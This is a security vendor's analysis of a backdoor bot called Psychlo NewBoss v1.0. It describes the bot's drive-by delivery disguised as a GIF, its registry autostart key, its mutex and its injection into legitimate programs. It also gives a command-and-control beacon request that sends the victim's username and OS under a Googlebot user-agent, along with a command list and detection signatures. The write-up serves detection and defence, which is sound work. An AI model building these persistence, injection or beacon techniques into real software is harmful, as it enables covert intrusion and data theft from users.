Psychlo NewBoss v1.0 bot analysis
Dell SonicWALL Threats Research team came across a new Malware submission that looks like a bot with backdoor functionality. The Malware executable appeared to arrive from a compromised site via drive-by download exploits.
The original Malware executable gets downloaded from maisonwake(REMOVED)/fancybox/a.gif using an image file extension for disguise. The malware author internally appears to be referring this malware as Psychlo NewBoss v1.0.
Infection Cycle
The bot when executed drops a copy of itself on the victim machine and runs it:
- (All Users)MDGAUCC9epNUbnWkqPUVsE9suH5tvi.exe [Detected as GAV: Neojit.A (Trojan)]
It also ensures that the dropped malicious executable runs upon system reboot by adding following registry key:
- HKUSoftwareMicrosoftWindowsCurrentVersionRunEP7gYQcJX: “(All Users)MDGAUCC9epNUbnWkqPUVsE9suH5tvi.exe”
It generates an internal configuration file that uses a GIF header with encrypted content appended to it. A sample of and encrypted & decrypted configuration file is shown below with the internal configuration file format as defined by the malware author:
The malware goes through the user’s Program Files and builds a list of Windows Executable files with IMAGE_FILE_MACHINE_I386 => x86 architecture. It then randomly picks one executable file from the list, runs it and injects malicious code into the legitimate program process.
The legitimate program injected with malicious code creates a Mutex to mark its presence on the system:
- MutexName = “{4012d34795ec88fec6a6d103659a9783}”
It then attempts to connect to the following remote domains at an interval of five minutes to register infection and get further instructions:
GET /newg/a.php?s=00005c39&m=fdd79d5d654416b63e7b275628ebd57f&u=(Encoded Username)&g=nb.7Y49&o=(Operating System)&ml= HTTP/1.1 User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)
A partial list of commands that we encountered while analyzing this malware is shown below:
Psychlo NewBoss v1.0 Commands
- ReadConfigFile
- WriteConfigFile
- LoadDefaultConfigFile
- PrintConfigFile
- Create
- Destroy
- ResetConfigFile
- ParseCommandLine
- SetAppType
- LoadBaseApp
- GenerateNewEncryptedSoftware
- InjectIntoProgramFile
- InstallRegAutoStart
- Install
- Update
- Uninstall
We observed the following logging messages while analyzing this malware:
Psychlo NewBoss v1.0 Logging activity
SelfName: Installer: Installing version nb.7Y49 Updating from version nb.7Y49 Injector Manager Dest: Source file found: File app decrypted: Injectable programs found: Injecting into: Program code: Accessing the server... Server.ConfigFile = nb.7Y49 Update app -> Download url = File downloaded MD5 Good Decrypted Temp filename: File saved: Running modules ComputerName: UserName:
Dell SonicWALL Gateway AntiVirus provides protection against this threat via following signatures:
- GAV: Neojit.A (Trojan)
- GAV: Neojit.A_2 (Trojan)
